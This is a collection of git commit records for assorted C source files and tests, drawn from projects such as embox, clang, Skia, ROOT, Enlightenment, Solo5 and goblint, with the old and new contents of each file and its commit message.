{"commit":"6eabd231276a1206adcca059a9efe9a95c61172b","old_file":"src\/lib\/gcc\/udivdi3.c","new_file":"src\/lib\/gcc\/udivdi3.c","old_contents":"\/**\n * @file\n * @brief\n *\n * @date 16.05.12\n * @author Anton Bondarev\n * @author Ilia Vaprol\n *\/\n#include <limits.h>\n#include <stdint.h>\n\n#define MASK_DWORD  (uint64_t)1 << ((WORD_BIT * 2) - 1)\n\nuint64_t __udivdi3(uint64_t num, uint64_t den) {\n\tuint64_t result = 0;\n\tint steps;\n\n\tif (den == 0) {\n\t\treturn 0;\n\t}\n\n\tsteps = 0;\n\tresult = 0;\n\n\twhile (!(den & MASK_DWORD)) {\n\t\tden <<= 1;\n\t\t++steps;\n\t}\n\n\tdo {\n\t\tresult <<= 1;\n\t\tif (num >= den) {\n\t\t\tresult |= 1;\n\t\t\tnum -= den;\n\t\t}\n\t\tden >>= 1;\n\t} while (steps--);\n\n\treturn result;\n}\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @date 16.05.12\n * @author Anton Bondarev\n * @author Ilia Vaprol\n *\/\n\n#include <stdint.h>\n\nuint64_t __udivdi3(uint64_t num, uint64_t den) {\n\tuint64_t result = 0;\n\tint steps;\n\n\tif (den == 0) {\n\t\treturn 0;\n\t}\n\n\tsteps = 0;\n\tresult = 0;\n\n\twhile (!(den & 0x8000000000000000)) {\n\t\tden <<= 1;\n\t\t++steps;\n\t}\n\n\tdo {\n\t\tresult <<= 1;\n\t\tif (num >= den) {\n\t\t\tresult |= 1;\n\t\t\tnum -= den;\n\t\t}\n\t\tden >>= 1;\n\t} while (steps--);\n\n\treturn result;\n}\n","subject":"Revert __udivi3 (word in compiler always 32 bit)","message":"Revert __udivi3 (word in compiler always 32 bit)","lang":"C","license":"bsd-2-clause","repos":"abusalimov\/embox,gzoom13\/embox,abusalimov\/embox,Kefir0192\/embox,Kakadu\/embox,embox\/embox,vrxfile\/embox-trik,abusalimov\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kefir0192\/embox,embox\/embox,gzoom13\/embox,Kefir0192\/embox,Kakadu\/embox,Kefir0192\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,Kefir0192\/embox,mike2390\/embox,embox\/embox,Kakadu\/embox,Kakadu\/embox,embox\/embox,Kakadu\/embox,abusalimov\/embox,Kakadu\/embox,abusalimov\/embox,vrxfile\/embox-trik,Kefir0192\/embox,gzoom13\/embox,vrxfile\/embox-trik,mike2390\/embox,embox\/embox,gzoom13\/embox,mike2390\/embox,vrxfile\/embox-trik,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,mike2390\/embox,abusalimov\/embox,mike2390\/embox,embox\/embox,Kefir0192\/embox,mike2390\/embox"}
{"commit":"b04346e8ee67e96ed73c351bd8542a00f9c97aee","old_file":"algorithms\/automorphic.c","new_file":"algorithms\/automorphic.c","old_contents":"\/*  \n * Author: hx1997\n * Desc: жһȻǷΪƽԸβ \n *\/ \n\n#include <stdio.h>\n\nint is_automorphic(long int num) {\n\tlong int sqrd = num * num;\n\tint lsig_digit, lsig_digit_sqrd;\n\t\n\tif(num > 44720) return -1;\n\t\n\tfor(; num > 0; num \/= 10, sqrd \/= 10) {\n\t\tlsig_digit = num % 10;\n\t\tlsig_digit_sqrd = sqrd % 10;\n\t\tif(lsig_digit != lsig_digit_sqrd) return 0;\n\t}\n\t\n\treturn 1;\n}\n\nint main(void) {\n\tint num_to_check;\n\t\n\tprintf(\"Input a non-negative integer less than 44720: \");\n\tscanf(\" %d\", &num_to_check);\n\t\n\tif(num_to_check > 44720)\n\t\tprintf(\"Invalid input.\\n\");\n\telse\n\t\tprintf(\"%d is%s an automorphic number.\\n\", num_to_check, (is_automorphic(num_to_check) ? \"\" : \" not\"));\n\t\n\treturn 0;\n}\n","new_contents":"\/*  \n * Author: hx1997\n * Desc: жһȻǷΪƽԸβ \n *\/ \n\n#include <stdio.h>\n\nint is_automorphic(int num) {\n\tint sqrd = num * num;\n\tint lsig_digit; int lsig_digit_sqrd;\n\t\n\tif(num > 44720) return -1;\n\t\n\tfor(; num > 0; num \/= 10, sqrd \/= 10) {\n\t\tlsig_digit = num % 10;\n\t\tlsig_digit_sqrd = sqrd % 10;\n\t\tif(lsig_digit != lsig_digit_sqrd) return 0;\n\t}\n\t\n\treturn 1;\n}\n\nint main(void) {\n\tint num_to_check;\n\t\n\tprintf(\"Input a non-negative integer less than 44720: \");\n\tscanf(\" %d\", &num_to_check);\n\t\n\tif(num_to_check > 44720)\n\t\tprintf(\"Invalid input.\\n\");\n\telse\n\t\tprintf(\"%d is%s an automorphic number.\\n\", num_to_check, (is_automorphic(num_to_check) ? \"\" : \" not\"));\n\t\n\treturn 0;\n}\n","subject":"Change long int to int","message":"Automorphic: Change long int to int\n","lang":"C","license":"mit","repos":"hx1997\/random-dump"}
{"commit":"6e65e1047f861d4db87ad0154c171ac66d53b649","old_file":"test\/Analysis\/diagnostics\/shortest-path-suppression.c","new_file":"test\/Analysis\/diagnostics\/shortest-path-suppression.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -analyze -analyzer-checker=core -analyzer-config suppress-null-return-paths=true -analyzer-output=text -verify %s\n\/\/ expected-no-diagnostics\n\nint *returnNull() { return 0; }\nint coin();\n\n\/\/ Use a float parameter to ensure that the value is unknown. This will create\n\/\/ a cycle in the generated ExplodedGraph.\nvoid testCycle(float i) {\n  int *x = returnNull();\n  int y; \n  while (i > 0) {\n    x = returnNull();\n    y = 2;\n    i -= 1;\n  }\n  *x = 1; \/\/ no-warning\n  y += 1;\n}\n","subject":"Add a test case for diagnostic suppression on a graph with cycles.","message":"[analyzer] Add a test case for diagnostic suppression on a graph with cycles.\n\n(see previous commit)\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@177449 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"0cb4362412abfc45e019fc8e4bd3b1c551662bf7","old_file":"iOS\/PlayPlan\/PublicViews\/SideMenu.h","new_file":"iOS\/PlayPlan\/PublicViews\/SideMenu.h","old_contents":"\/\/\n\/\/  SideMenu.h\n\/\/  PlayPlan\n\/\/\n\/\/  Created by Zeacone on 15\/11\/19.\n\/\/  Copyright © 2015年 Zeacone. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"PlayPlan.h\"\n\n@interface SideMenu : UIView\n\n@end\n","new_contents":"\/\/\n\/\/  SideMenu.h\n\/\/  PlayPlan\n\/\/\n\/\/  Created by Zeacone on 15\/11\/19.\n\/\/  Copyright © 2015年 Zeacone. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"PlayPlan.h\"\n\n@protocol SideMenuDelegate <NSObject>\n\n- (void)sideMenu:(UIButton *)menu title:(NSString *)title;\n\n@end\n\n@interface SideMenu : UIView\n\n@property (nonatomic, assign) id<SideMenuDelegate> delegate;\n\n@end\n\n","subject":"Add delegate for side menu.","message":"Add delegate for side menu.\n","lang":"C","license":"mit","repos":"Zeacone\/PlayPlan,Zeacone\/PlayPlan"}
{"commit":"a29854ca7310d02cf452582cebe80c1de21294cf","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 101\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 102\n#endif\n","subject":"Update Skia milestone to 102","message":"Update Skia milestone to 102\n\nChange-Id: Ie332216b5338b1538de9ef07a34a28854c7c805a\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/522137\nReviewed-by: Kevin Lubick <7cdab2cfab351f23814786ba39716e90eed69047@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"2cd50fa07e9364b98c99643a006fdea5e079ff31","old_file":"hittop\/parser\/parser.h","new_file":"hittop\/parser\/parser.h","old_contents":"\/\/ Defines the generic Parser interface for the Casper parser generator library.\n\/\/\n#ifndef HITTOP_PARSER_PARSER_H\n#define HITTOP_PARSER_PARSER_H\n\n#include \"hittop\/parser\/parse_error.h\"\n\n#include \"hittop\/util\/fallible.h\"\n\nnamespace hittop {\nnamespace parser {\n\nusing util::Fallible;\n\n\/\/\/ The form of a Parser class.  There is no generic implementation of Parser,\n\/\/\/ only partial and full specializations that define how to parse specific\n\/\/\/ grammars.\ntemplate <typename Grammar> class Parser;\n\n\/\/\/ Convenience wrapper around defining a new Parser object and invoking it on\n\/\/\/ the given input range.  Allows the invocation operator defined on\n\/\/\/ Parser<Grammer> to be non-const, as the parser instance created within this\n\/\/\/ function is itself non-const.\ntemplate <typename Grammar, typename Range>\nauto Parse(const Range &input)\n    -> decltype(std::declval<Parser<Grammar>>()(input)) {\n  Parser<Grammar> parser;\n  return parser(input);\n}\n\n} \/\/ namespace parser\n} \/\/ namespace hittop\n\n#endif \/\/ HITTOP_PARSER_PARSER_H\n","new_contents":"\/\/ Defines the generic Parser interface for the Casper parser generator library.\n\/\/\n#ifndef HITTOP_PARSER_PARSER_H\n#define HITTOP_PARSER_PARSER_H\n\n#include \"boost\/range\/as_literal.hpp\"\n\n#include \"hittop\/parser\/parse_error.h\"\n\n#include \"hittop\/util\/fallible.h\"\n\nnamespace hittop {\nnamespace parser {\n\nusing util::Fallible;\n\n\/\/\/ The form of a Parser class.  There is no generic implementation of Parser,\n\/\/\/ only partial and full specializations that define how to parse specific\n\/\/\/ grammars.\ntemplate <typename Grammar> class Parser;\n\n\/\/\/ Convenience wrapper around defining a new Parser object and invoking it on\n\/\/\/ the given input range.  Allows the invocation operator defined on\n\/\/\/ Parser<Grammer> to be non-const, as the parser instance created within this\n\/\/\/ function is itself non-const.\ntemplate <typename Grammar, typename Range>\nauto Parse(const Range &input)\n    -> decltype(std::declval<Parser<Grammar>>()(input)) {\n  Parser<Grammar> parser;\n  return parser(input);\n}\n\n\/\/\/ Convenience function that parsers a C string as a literal character range.\ntemplate <typename Grammar>\nauto Parse(const char *input)\n    -> decltype(Parse<Grammar>(boost::as_literal(input))) {\n  return Parse<Grammar>(boost::as_literal(input));\n}\n\n} \/\/ namespace parser\n} \/\/ namespace hittop\n\n#endif \/\/ HITTOP_PARSER_PARSER_H\n","subject":"Add convenience overload of Parse that accepts c-string literals","message":"Add convenience overload of Parse that accepts c-string literals\n","lang":"C","license":"apache-2.0","repos":"hittop\/hittop,hittop\/hittop"}
{"commit":"76f394247acc79e003beeb06fa286f246ea7685a","old_file":"test2\/code_gen\/dead_code_elim.c","new_file":"test2\/code_gen\/dead_code_elim.c","old_contents":"\/\/ RUN: %ocheck 3 %s\n\ng()\n{\n\treturn 3;\n}\n\nmain()\n{\n\tif(0){\n\t\tf(); \/\/ shouldn't hit a linker error here - dead code\na:\n\t\treturn g();\n\t}\n\n\tgoto a;\n}\n","new_contents":"\/\/ RUN: %ocheck 3 %s -g\n\/\/ test debug emission too\n\ng()\n{\n\treturn 3;\n}\n\nmain()\n{\n\tif(0){\n\t\tint i;\n\t\tf(); \/\/ shouldn't hit a linker error here - dead code\na:\n\t\ti = 2;\n\t\treturn g(i);\n\t}\n\n\tgoto a;\n}\n","subject":"Test debug label emission with local variables","message":"Test debug label emission with local variables\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"80867bf2320444893e7248bead8b63aec23993a4","old_file":"core\/base\/inc\/RVersion.h","new_file":"core\/base\/inc\/RVersion.h","old_contents":"#ifndef ROOT_RVersion\n#define ROOT_RVersion\n\n\/* Version information automatically generated by installer. *\/\n\n\/*\n * These macros can be used in the following way:\n *\n *    #if ROOT_VERSION_CODE >= ROOT_VERSION(2,23,4)\n *       #include <newheader.h>\n *    #else\n *       #include <oldheader.h>\n *    #endif\n *\n*\/\n\n#define ROOT_RELEASE \"5.34\/22\"\n#define ROOT_RELEASE_DATE \"Oct 10 2014\"\n#define ROOT_RELEASE_TIME \"15:29:14\"\n#define ROOT_SVN_REVISION 49361\n#define ROOT_GIT_COMMIT \"v5-34-21-104-gf821c17\"\n#define ROOT_GIT_BRANCH \"heads\/v5-34-00-patches\"\n#define ROOT_VERSION_CODE 336406\n#define ROOT_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))\n\n#endif\n","new_contents":"#ifndef ROOT_RVersion\n#define ROOT_RVersion\n\n\/* Version information automatically generated by installer. *\/\n\n\/*\n * These macros can be used in the following way:\n *\n *    #if ROOT_VERSION_CODE >= ROOT_VERSION(2,23,4)\n *       #include <newheader.h>\n *    #else\n *       #include <oldheader.h>\n *    #endif\n *\n*\/\n\n#define ROOT_RELEASE \"5.34\/23\"\n#define ROOT_RELEASE_DATE \"Nov  7 2014\"\n#define ROOT_RELEASE_TIME \"15:06:58\"\n#define ROOT_SVN_REVISION 49361\n#define ROOT_GIT_COMMIT \"v5-34-22-106-g4a0dea3\"\n#define ROOT_GIT_BRANCH \"heads\/v5-34-00-patches\"\n#define ROOT_VERSION_CODE 336407\n#define ROOT_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))\n\n#endif\n","subject":"Update ROOT version files to v5.34\/23.","message":"Update ROOT version files to v5.34\/23.\n","lang":"C","license":"lgpl-2.1","repos":"tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot"}
{"commit":"cd24cba0c92904ec7ee0a521d7074b3e232261ca","old_file":"src\/modules\/conf_theme\/e_int_config_theme.h","new_file":"src\/modules\/conf_theme\/e_int_config_theme.h","old_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_INT_CONFIG_THEME_H\n#define E_INT_CONFIG_THEME_H\n\nEAPI E_Config_Dialog *e_int_config_theme(E_Container *con, const char *params __UNUSED__);\n\nEAPI void             e_int_config_theme_import_done(E_Config_Dialog *dia);\nEAPI void             e_int_config_theme_update(E_Config_Dialog *dia, char *file);\n\n#endif\n#endif\n","new_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_INT_CONFIG_THEME_H\n#define E_INT_CONFIG_THEME_H\n\nEAPI E_Config_Dialog *e_int_config_theme(E_Container *con, const char *params __UNUSED__);\n\nEAPI void             e_int_config_theme_import_done(E_Config_Dialog *dia);\nEAPI void             e_int_config_theme_update(E_Config_Dialog *dia, char *file);\nEAPI void             e_int_config_theme_web_done(E_Config_Dialog *dia);\n\n#endif\n#endif\n","subject":"Declare public function in header.","message":"Declare public function in header.\n\n\nSVN revision: 35475\n","lang":"C","license":"bsd-2-clause","repos":"rvandegrift\/e,FlorentRevest\/Enlightenment,tasn\/enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment"}
{"commit":"d6846332e576ae56a8b9e73d746bec7305c92900","old_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","new_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","old_contents":"","new_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 1.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\nRING_FUNC(ring_get_gl_zero)\n{\n\tRING_API_RETNUMBER(GL_ZERO);\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"get_gl_zero\",ring_get_gl_zero);\n}\n","subject":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_ZERO","message":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_ZERO\n","lang":"C","license":"mit","repos":"ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring"}
{"commit":"ba796b0f15918634fdab02132879016a50183ba4","old_file":"include\/libk\/physical_allocator.h","new_file":"include\/libk\/physical_allocator.h","old_contents":"#ifndef PHYSICAL_ALLOCATOR_H\n#define PHYSICAL_ALLOCATOR_H\n\ntypedef uint32_t page_frame_t;\n\n#define PAGE_FRAME_CACHE_SIZE 32\n#define PAGE_FRAME_MAP_SIZE (PHYS_MEMORY_SIZE\/8\/PAGE_SIZE)\n\n\/\/ Linear search of page frame bitmap\npage_frame_t alloc_frame_helper();\n\nvoid free_frame(page_frame_t frame);\n\npage_frame_t alloc_frame();\n\nvoid use_frame(page_frame_t frame);\n\n#endif\n","new_contents":"#ifndef PHYSICAL_ALLOCATOR_H\n#define PHYSICAL_ALLOCATOR_H\n\n#include <stdint.h>\n#include <stddef.h>\n#include <libk\/kabort.h>\n#include <libk\/kassert.h>\n#include <libk\/kputs.h>\n\n#ifdef ARCH_X86\n#include <arch\/x86\/memlayout.h>\n#endif\n\n#ifdef ARCH_USERLAND\n#include \"tests\/memlayout.h\"\n#endif\n\ntypedef uint32_t page_frame_t;\n\n#define BIT_INDEX(x) (1 << ((x) % 8))\n#define BYTE_INDEX(x) ((x)\/8)\n#define PAGE_FRAME_CACHE_SIZE 32\n#define PAGE_FRAME_MAP_SIZE (PHYS_MEMORY_SIZE\/8\/PAGE_SIZE)\n\n\/\/ Linear search of page frame bitmap\npage_frame_t alloc_frame_helper();\n\nvoid free_frame(page_frame_t frame);\n\npage_frame_t alloc_frame();\n\nvoid use_frame(page_frame_t frame);\n\n#endif\n","subject":"Create macros for certain repetitive shifts","message":"Create macros for certain repetitive shifts\n","lang":"C","license":"mit","repos":"awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth"}
{"commit":"12a7262f437f301f6004fb06a4634543685e532e","old_file":"tests\/apps\/seh.c","new_file":"tests\/apps\/seh.c","old_contents":"\/**************************************************************************\n *\n * Copyright 2015 Jose Fonseca\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sub license, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. NO EVENT SHALL\n * THE COPYRIGHT HOLDERS, AUTHORS AND\/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM,\n * DAMAGES OR OTHER LIABILITY, WHETHER AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OF OR CONNECTION WITH THE SOFTWARE OR THE\n * USE OR OTHER DEALINGS THE SOFTWARE.\n *\n * The above copyright notice and this permission notice (including the\n * next paragraph) shall be included in all copies or substantial portions\n * of the Software.\n *\n **************************************************************************\/\n\n#include <windows.h>\n\nint CALLBACK\nWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)\n{\n    RaiseException(100, EXCEPTION_NONCONTINUABLE, 0, NULL);\n\n    return 0;\n}\n","new_contents":"\/**************************************************************************\n *\n * Copyright 2015 Jose Fonseca\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sub license, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. NO EVENT SHALL\n * THE COPYRIGHT HOLDERS, AUTHORS AND\/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM,\n * DAMAGES OR OTHER LIABILITY, WHETHER AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OF OR CONNECTION WITH THE SOFTWARE OR THE\n * USE OR OTHER DEALINGS THE SOFTWARE.\n *\n * The above copyright notice and this permission notice (including the\n * next paragraph) shall be included in all copies or substantial portions\n * of the Software.\n *\n **************************************************************************\/\n\n#include <windows.h>\n\nint CALLBACK\nWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)\n{\n    RaiseException(0xE0000001, EXCEPTION_NONCONTINUABLE, 0, NULL);\n\n    return 0;\n}\n","subject":"Use a better custom exception code.","message":"test\/apps: Use a better custom exception code.\n","lang":"C","license":"lgpl-2.1","repos":"jrfonseca\/drmingw,jrfonseca\/drmingw,jrfonseca\/drmingw,jrfonseca\/drmingw"}
{"commit":"aca5c7bac87a1b2fb4e9c6daa43f61ea0c021dd1","old_file":"kernel\/muen\/muen-block.c","new_file":"kernel\/muen\/muen-block.c","old_contents":"","new_contents":"\/*\n * Copyright (c) 2017 Contributors as noted in the AUTHORS file\n *\n * This file is part of Solo5, a unikernel base layer.\n *\n * Permission to use, copy, modify, and\/or distribute this software\n * for any purpose with or without fee is hereby granted, provided\n * that the above copyright notice and this permission notice appear\n * in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR\n * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS\n * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\n * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include \"..\/kernel.h\"\n\n\/* ukvm block interface *\/\nint solo5_blk_write_sync(uint64_t sec __attribute__((unused)),\n                         uint8_t *data __attribute__((unused)),\n                         int n __attribute__((unused)))\n{\n    return -1;\n}\n\nint solo5_blk_read_sync(uint64_t sec __attribute__((unused)),\n                        uint8_t *data __attribute__((unused)),\n                        int *n __attribute__((unused)))\n{\n    return -1;\n}\n\nint solo5_blk_sector_size(void)\n{\n    return -1;\n}\n\nuint64_t solo5_blk_sectors(void)\n{\n    return 0;\n}\n\nint solo5_blk_rw(void)\n{\n    return -1;\n}\n","subject":"Add dummy block implementation for Muen","message":"Add dummy block implementation for Muen\n\nFor now there is no support for block devices on the Muen platform.\n","lang":"C","license":"isc","repos":"Solo5\/solo5,djwillia\/solo5,Solo5\/solo5,mato\/solo5,mato\/solo5,Weichen81\/solo5,Weichen81\/solo5,mato\/solo5,djwillia\/solo5,Weichen81\/solo5,djwillia\/solo5"}
{"commit":"fd94904f4bffbcd8eec0ce025e7123fcb7569c03","old_file":"tests\/regression\/06-symbeq\/24-escape_rc.c","new_file":"tests\/regression\/06-symbeq\/24-escape_rc.c","old_contents":"\/\/ PARAM: --set ana.activated[+] \"'var_eq'\"\n\/\/ Copy of 04\/45 with var_eq enabled\n\/\/ octApron needs to be included again and fixed\n#include <pthread.h>\n#include <stdio.h>\n\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int *p = (int *) arg;\n  pthread_mutex_lock(&mutex1);\n  (*p)++;\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  int i = 0;\n  pthread_create(&id, NULL, t_fun, (void *) &i);\n  pthread_mutex_lock(&mutex2);\n  assert(i == 0); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&mutex2);\n  pthread_join (id, NULL);\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --set ana.activated[+] \"'var_eq'\"\n\/\/ Copy of 04\/45 with var_eq enabled\n#include <pthread.h>\n#include <stdio.h>\n\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int *p = (int *) arg;\n  pthread_mutex_lock(&mutex1);\n  (*p)++;\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  int i = 0;\n  pthread_create(&id, NULL, t_fun, (void *) &i);\n  pthread_mutex_lock(&mutex2);\n  assert(i == 0); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&mutex2);\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Remove outdated octApron comment from 06\/24","message":"Remove outdated octApron comment from 06\/24\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"9ad7e0d7b5652d3279d227a1537c3b39b8cad1d0","old_file":"test\/Sema\/crash-invalid-array.c","new_file":"test\/Sema\/crash-invalid-array.c","old_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-apple-darwin -fsyntax-only -verify %s\n\/\/ PR6913\n\n#include <stdio.h>\n\nint main()\n{\n   int x[10][10];\n   int (*p)[] = x;\n\n   int i;\n\n   for(i = 0; i < 10; ++i)\n   {\n       p[i][i] = i; \/\/ expected-error {{subscript of pointer to incomplete type 'int []'}}\n   }\n}\n\n\/\/ rdar:\/\/13705391\nvoid foo(int a[*][2]) {(void)a[0][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\nvoid foo1(int a[2][*]) {(void)a[0][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\nvoid foo2(int a[*][*]) {(void)a[0][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\nvoid foo3(int a[2][*][2]) {(void)a[0][1][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\nvoid foo4(int a[2][*][*]) {(void)a[0][1][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple=x86_64-apple-darwin -fsyntax-only -verify %s\n\/\/ PR6913\n\nint main()\n{\n   int x[10][10];\n   int (*p)[] = x;\n\n   int i;\n\n   for(i = 0; i < 10; ++i)\n   {\n       p[i][i] = i; \/\/ expected-error {{subscript of pointer to incomplete type 'int []'}}\n   }\n}\n\n\/\/ rdar:\/\/13705391\nvoid foo(int a[*][2]) {(void)a[0][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\nvoid foo1(int a[2][*]) {(void)a[0][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\nvoid foo2(int a[*][*]) {(void)a[0][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\nvoid foo3(int a[2][*][2]) {(void)a[0][1][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\nvoid foo4(int a[2][*][*]) {(void)a[0][1][1]; } \/\/ expected-error {{variable length array must be bound in function definition}}\n","subject":"Remove an old stdio.h include from the invalid-array test","message":"Remove an old stdio.h include from the invalid-array test\n\nThis should get it up and running on win and other builders without system\nheaders.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@196738 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
